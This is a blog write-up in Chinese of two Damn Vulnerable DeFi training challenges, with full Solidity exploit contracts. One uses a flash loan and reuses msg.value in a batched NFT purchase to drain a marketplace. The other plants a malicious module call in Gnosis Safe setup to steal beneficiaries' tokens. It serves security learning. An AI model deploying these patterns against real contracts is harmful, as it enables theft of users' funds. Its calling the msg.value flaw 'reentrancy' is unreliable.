Damn Defi靶场刷题记录(10-11)
author: Thomas_Xu
10 Free rider
这又是一道利用闪电贷来获取利益的题目。可见Defi平台要预防可能的闪电攻击是个难题。
题目要求我们偷走买家的的45个ETH,并且还要市场失去一些比特币。
Code Review
首先我们从头来看这个Challenge
FreeRiderNFTMarketplace
这是交易市场的合约,主要的功能就是商品的上架,买入等功能。- offerMany(uint256[] calldata tokenIds, uint256[] calldata prices)
这是一个根据NFTid定价的函数,传入的参数分别是NFT的id数组和价格数组。
- buyMany(uint256[] calldata tokenIds) external payable
这是购买指定id的NFT的函数。入参即NFT的id数组。
在阅读市场合约后,我产生一个疑惑”题目中要求市场合约损失一些ETH是怎么回事”,于是我立即又倒回去再次审查,看到_buyOne
的时候立即让我警觉起来
这里通过msg.value来检查发送的金额是否足够买下此NFT,看似没有问题,但是!buyMany()
函数通过循环来调用了这个_buyMany()
子函数,这样一组合,就导致这一流程出现重入的风险,我们只要一次调用buyMany()
,那么在每次循环,我们的msg.value
并不会发生变化。这意味着我们可以用一笔很少的钱买下市场上所有单价低于此金额的NFT。
这就是市场ETH减少的秘密!
- offerMany(uint256[] calldata tokenIds, uint256[] calldata prices)
Exploit
我们再来理一理思路,我们要做的是:1.先通过闪电贷借30ETH通过正规途径买入两个NFT
2.将买入的两个NFT以90ETH/个的价格出售
3.再通过闪电贷获得90ETH后,自己当买家,通过重入漏洞以90一个的价格买入两个NFT(消耗市场的余额)
4.还给闪电贷120个ETH后,自己赚取60个ETH正好可以买4余下的4个NFT
以此写出攻击合约:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./FreeRiderBuyer.sol";
import "./FreeRiderNFTMarketplace.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../DamnValuableNFT.sol";
import "hardhat/console.sol";
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IWETH {
function transfer(address recipient, uint256 amount) external returns (bool);
function deposit() external payable;
function withdraw(uint256 amount) external;
}
interface IUniswapV2Pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IFreeRiderNFTMarketplace {
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external;
function buyMany(uint256[] calldata tokenIds) external payable;
function token() external returns (IERC721);
}
contract FreeRiderExploit is IUniswapV2Callee, IERC721Receiver {
address public attcker;
address immutable buyer;
IFreeRiderNFTMarketplace immutable market;
IUniswapV2Pair immutable uniswapPair;
IWETH immutable weth;
IERC721 immutable nft;
constructor(address _Buyer, IFreeRiderNFTMarketplace _market, IWETH _token, IUniswapV2Pair _uniswapPair){
market = _market;
buyer = _Buyer;
attcker = msg.sender;
uniswapPair = _uniswapPair;
nft = _market.token();
weth = _token;
}
function attack() public {
uniswapPair.swap(
120 ether, //根据分析,我们一共需要从闪电贷借120ETH
0 , //我们不关心这个参数,因为我们只用借ETH
address(this), //借款发送到此合约
hex"00" //为了使data不为空(我们不关心此参数)
);
}
//闪电贷回调函数
function uniswapV2Call(address, uint, uint, bytes calldata) external override {
console.log("success in line", 62);
//通过闪电借的120 ether先提款到此合约
weth.withdraw(120 ether);
console.log("success in line", 65);
//先买两个NFT
uint256[] memory tokenids1 = new uint256[](2);
tokenids1[0] = 0;
tokenids1[1] = 1;
market.buyMany{value: 30 ether}(tokenids1);
//以90的价格放入市场
nft.setApprovalForAll(address(market), true);
uint256[] memory price1 = new uint256[](2);
price1[0] = 90 ether;
price1[1] = 90 ether;
market.offerMany(tokenids1, price1);
//利用重入漏洞以90ether的价格买下这两个NFT
market.buyMany{value:90 ether}(tokenids1);
//还款
uint256 fee = ((120 ether * 3) / uint256(997)) + 1;
weth.deposit{value: 120 ether + fee}();
weth.transfer(address(uniswapPair), 120 ether + fee);
//用60ETH买4个NFT
tokenids1 = new uint256[](4);
tokenids1[0] = 2;
tokenids1[1] = 3;
tokenids1[2] = 4;
tokenids1[3] = 5;
market.buyMany{value:60 ether}(tokenids1);
//把六个nft都给buyer
for(uint8 tokenId = 0; tokenId < 6; tokenId++){
nft.safeTransferFrom(address(this), buyer, tokenId);
}
//
payable(address(attcker)).transfer(address(this).balance);
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
- 总结:在合约中重用相同的内容(通常通过循环或某种批处理/多调用函数)是一个非常重要的漏洞。
11 Backdoor
这个题我花费了大量的时间!因为需要对GnosisSafe
Wallet的源码足够了解。在做这个挑战的时候又不停的在学习有关操作码的东西,这很麻烦。我必须说这个题是我目前做到的挑战里面比较折磨我的。
这个挑战的背景是Gnosis安全钱包,有人部署了钱包的注册表,当此团队中的人部署钱包时,他们将获得10个token,我们要做的就是拿到着40个token
Code Review
这个挑战只有一个注册表合约,但往往看似简单的东西都挺难的。
- WalletRegistry
注册表合约- addBeneficiary()
添加受益人到注册表的函数,beneficiaries[]就是检测是否为注册表里有的地址 - _removeBeneficiary()
在受益人收益后从注册表删除此受益人 - proxyCreated
通过注释我们可以知道这是创建钱包时会调用的一个回调函数,而这个函数的作用就是给注册表中的受益人那10个token。
- addBeneficiary()
看起来,重头戏并不在这里,于是我把目光投向了GnosisSafe
钱包的源码
GnosisSafe源码
首先我们全局搜索回调proxyCreated
的的地方,只有一个createProxyWithCallback()
函数- GnosisSafeProxyFactory -createProxyWithCallback
入参有四个:- address _singleton
这是一个单例地址 - bytes memory initializer
这是初始化器的字节码,初始化函数其实就是GnosisSafe
里的setup()
函数 - uint256 saltNonce
这是Create2里的随机数,我们不用关心 - IProxyCreationCallback callback
这是回调合约的地址
我们直接关注回调的地方,callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
这里只是简单的一个回调,参数看上去也没有什么漏洞。
然后就是在上一行调用了createProxyWithNonce
函数
- address _singleton
GnosisSafeProxyFactory -createProxyWithNonce
这个函数内主要其实就是对initializer初始化函数的调用,只不过是用汇编实现的。
看起来关键可能在于setup
函数GnosisSafe -setup
这是Gnosis钱包的一个初始化函数,我一眼就看到了setupModules(to, data);
这明显是一个外部调用,这给我了一点希望。再仔细一看这里的参数确实是可以导致借入的。我们可以借此让钱包approve给我们所有的token,我们只需要把这个token转出来即可。
- GnosisSafeProxyFactory -createProxyWithCallback
Exploit
总结一下以上的分析,其实这个题就是利用了一个gnosis钱包的一个外部调用,再钱包的上下文中执行approve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "../DamnValuableToken.sol";
import "hardhat/console.sol";
interface IGnosisSafe {
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external;
}
contract BackdoorExploit {
DamnValuableToken immutable token;
GnosisSafeProxyFactory immutable gnosisFactory;
address registryAddress;
address masterCopyAddress;
constructor(
address _registryAddress,
address _masterCopyAddress,
address _walletFactory,
address _token
){
token = DamnValuableToken(_token);
gnosisFactory = GnosisSafeProxyFactory(_walletFactory);
registryAddress = _registryAddress;
masterCopyAddress = _masterCopyAddress;
}
function GiveApprove(address _token, address _spender) external {
DamnValuableToken(_token).approve(_spender, 10 * 10**18);
// console.log("The spender's address :", _spender);
console.log("The Giver's address:", msg.sender);
}
function creatWallet(address[] memory victims)external returns (address newproxy){
address[] memory owner = new address[](1);
for(uint8 i = 0; i < victims.length; i++){
owner[0] = victims[i];
bytes memory init = abi.encodeWithSelector(
GnosisSafe.setup.selector,
owner, //新建钱包的owner
1, //threshold 只能为1
address(this), //漏洞出现点
abi.encodeWithSelector( //借入
BackdoorExploit.GiveApprove.selector,
address(token),
address(this)
),
address(0x0),
address(0x0),
0,
address(0x0)
);
GnosisSafeProxy proxy = gnosisFactory.createProxyWithCallback(
masterCopyAddress,
init,
i,
IProxyCreationCallback(registryAddress)
);
// console.log("The msg.sender's address:", msg.sender);
console.log("The proxy's address:", address(proxy));
// console.log("The this address:", address(this));
DamnValuableToken(token).transferFrom(address(proxy), msg.sender, 10 *10**18);
}
}
}
true
...
...
This is copyright.